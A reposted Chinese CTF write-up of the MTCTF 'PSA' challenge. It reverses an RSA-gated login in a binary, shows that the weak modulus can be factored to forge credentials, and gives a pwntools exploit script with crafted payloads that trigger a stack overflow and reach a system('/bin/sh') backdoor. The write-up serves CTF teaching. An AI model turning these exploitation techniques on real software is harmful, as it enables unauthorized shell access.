MTCTF-PSA-Writeup

admin 2021年11月10日02:20:15评论102 views字数 3460阅读11分32秒阅读模式
MTCTF-PSA-Writeup
本文为看雪论坛优秀文章
看雪论坛作者ID:vagr4nt

PSA这道题当时归到PWN类型下,到比赛截止是2sol。但其实这道题主要问题还是在它的逆向部分。


1


解题过程


IDA打开看到给了一个很像是登录的逻辑判断:

MTCTF-PSA-Writeup


如果用户名和密码对了就给你进到栈溢出函数vuln():
int vuln(){  __int64 buf; // [rsp+0h] [rbp-10h]  __int64 v2; // [rsp+8h] [rbp-8h]   buf = 0LL;  v2 = 0LL;  printf("You can set message: ", 0LL, 0LL);  read(0, &buf, 0x1AuLL);  return printf("OK, recv!", &buf);}

进入到先前的函数,可以看到题目进行了很多大数库操作,包括执行了bn_mod_exp之类的函数,基本上就可以判定是RSA,下面的代码我略修改过,所以基本上容易看清。
signed __int64 __fastcall public_block_operation(__int64 a1, unsigned int *a2, __int64 a3, unsigned int a4, _DWORD *a5){  _DWORD *v6; // [rsp+8h] [rbp-468h]  char v7; // [rsp+30h] [rbp-440h]  char m; // [rsp+140h] [rbp-330h]  char e; // [rsp+250h] [rbp-220h]  char c; // [rsp+360h] [rbp-110h]  unsigned int edigits; // [rsp+468h] [rbp-8h]  unsigned int ndigits; // [rsp+46Ch] [rbp-4h]   v6 = a5;  bn_decode((__int64)&m, 65u, a3, a4);  bn_decode((__int64)&v7, 0x41u, (__int64)(v6 + 1), 256);  bn_decode((__int64)&e, 0x41u, (__int64)(v6 + 65), 256);  ndigits = bn_digits((__int64)&v7, 65);  edigits = bn_digits((__int64)&e, 65);  if ( (signed int)bn_cmp((__int64)&m, (__int64)&v7, ndigits) >= 0 )    return 4097LL;  bn_mod_exp((__int64)&c, (__int64)&m, (__int64)&e, edigits, (__int64)&v7, ndigits);  *a2 = (unsigned int)(*v6 + 7) >> 3;  bn_encode(a1, *a2, (__int64)&c, ndigits);  memset(&c, 0, 0x104uLL);  memset(&m, 0, 0x104uLL);  return 0LL;}

那么接下的核心问题是确定公钥N和e:

MTCTF-PSA-Writeup


注意到这里的e是用十六进制去存储的,也就是{0x01, 0x00, 0x01},即65537。N是小端序存储的,即0xdbea。

回到核心判断逻辑:
puts("LoginnPlease input your name:");  v13 = read(0, buf, 0x100uLL);  public_block_operation((__int64)v11, (unsigned int *)&v10, (__int64)buf, v13, &pk);  for ( i = 0; i <= 255 && !v11[i]; ++i )    ;  v0 = &v11[i];  v1 = v0[1];  *(_QWORD *)s2 = *v0;  v9 = v1;  puts("Please input your password:");  memset(buf, 0, 0x100uLL);  v13 = read(0, buf, 0x100uLL);  public_block_operation((__int64)v11, (unsigned int *)&v10, (__int64)buf, v13, &pk);  for ( i = 0; i <= 255 && !v11[i]; ++i )    ;  v2 = &v11[i];  v3 = v2[1];  *(_QWORD *)s = *v2;  v7 = v3;  if ( strcmp("root", s2) )    goto LABEL_22;  if ( strlen(s) != 6 )    goto LABEL_22;  i = 0;  while ( i <= 5 )  {    v4 = i++;    asc_2040A3[v4] ^= 0x11u;  }  if ( !strcmp(asc_2040A3, s) )  {    puts("Welcome back, administrator. ");    result = vuln();  }

以用户名为例,读入用户名后经过public_block_operation的一轮RSA加密,结果存放在v11中。然后v11首先去除掉首部的空字节,然后以Qword形式存放到s中。

说穿了就是截取加密后密文的前8个字节,然后去和'root'作比较。这里可以用GDB简单调试验证下:


我输入的username是'aaan',跟进来在strcmp之前rsi的值与RSA加密结果的前几位一致。

MTCTF-PSA-Writeup


MTCTF-PSA-Writeup

下面那个password处理和这个同理,只不过加了一个简单异或,就不再赘述。

那么问题的核心就在于找到一个明文字符串,用公钥加密后的前几个字节必须是root。

那么直接用x00填充构建一个8字节的密文'rootx00x00x00x00',然后反推明文,这个就是解RSA或模方程的问题了,不难,此题公钥N可以容易地被分解,password部分是同理的。
 
最后是栈溢出部分,题目还给了一个backdoor,里面是system('/bin/sh'),只要覆盖返回地址为backdoor地址就行了,但是我记得这题开了随机地址+覆盖字节数限制,只有一定的概率能覆盖成功。

exp如下即可进入栈溢出函数:
from pwn import *rs = process('./rsa')rs.sendline('2')rs.recvuntil('your name:n')fuck="TNHx8bx96xcaxedx02xbdpbxecvxc2_x87x91x8cFUxf1^xd7L3xc4Xxcd1Exc7dxa7xcbx83x08xecx1eQxfe;xe5xd1Kxf5xa0x06xdcx1a@Ux8xe2kE[xe9exnx06xe2xd2xadrxccx99x14nxb0,xe8x95//x0ca\n[x9e4Oxdex9b>x9axedLfxa0'ax8bxc7wW0x85nxa4Cx94oxabxb4KxfcDvx96f5]cx97xd9`x00xbexc4Rx19xd9Qxeb<"rs.send(fuck) fuck2='x80xc7x1exc6xfex92xeexcbxef2xe3xdfxc2xc2x8axb0xa6xdax8bxbbxddWxbd9[x97xa9xeebx9fxbaxbe]xa3xd21(@x04x01x9eg\jx89xf2xc6xd2x87xd5xebx8exbfxccx00xc0qx89x19?xcfxfcUxfeq-{xb6xb9xafxe8xb6excbxb9x12x13.hxce@xd2xcefxffxd8xd2xa5xc4^x8eKBxeexf5Qx17Xxb60xcdxaa>7x1fx82Sxb9F Hgxf5xdexb0r*xdax9axaax99M`xe8,xa0dxb2'rs.recvuntil('your password:n')rs.send(fuck2)rs.interactive()

栈溢出以后getshell,当时的老图贴上来:

MTCTF-PSA-Writeup


MTCTF-PSA-Writeup 


看雪ID:vagr4nt

https://bbs.pediy.com/user-home-904020.htm

*本文由看雪论坛 vagr4nt 原创,转载请注明来自看雪社区


MTCTF-PSA-Writeup


MTCTF-PSA-Writeup


# 往期推荐

1. 【分析记录】疑似Confucius组织组件CuoliVXaRAT分析

2. WOW怀旧服 明文发包获取和HOOK

3. X86内核笔记_2_驱动开发

4. 新的漏洞分析体验:CVE-2010-3333 RTF栈缓冲区溢出漏洞

5. 某鹅安全竞赛20年初赛ring0题解

6. 某知笔记服务端docker镜像授权分析



MTCTF-PSA-Writeup
公众号ID:ikanxue
官方微博:看雪安全
商务合作:[email protected]



MTCTF-PSA-Writeup

球分享

MTCTF-PSA-Writeup

球点赞

MTCTF-PSA-Writeup

球在看



MTCTF-PSA-Writeup

点击“阅读原文”,了解更多!

本文始发于微信公众号(看雪学院):MTCTF-PSA-Writeup

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2021年11月10日02:20:15
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   MTCTF-PSA-Writeuphttp://cn-sec.com/archives/439185.html

发表评论

匿名网友 填写信息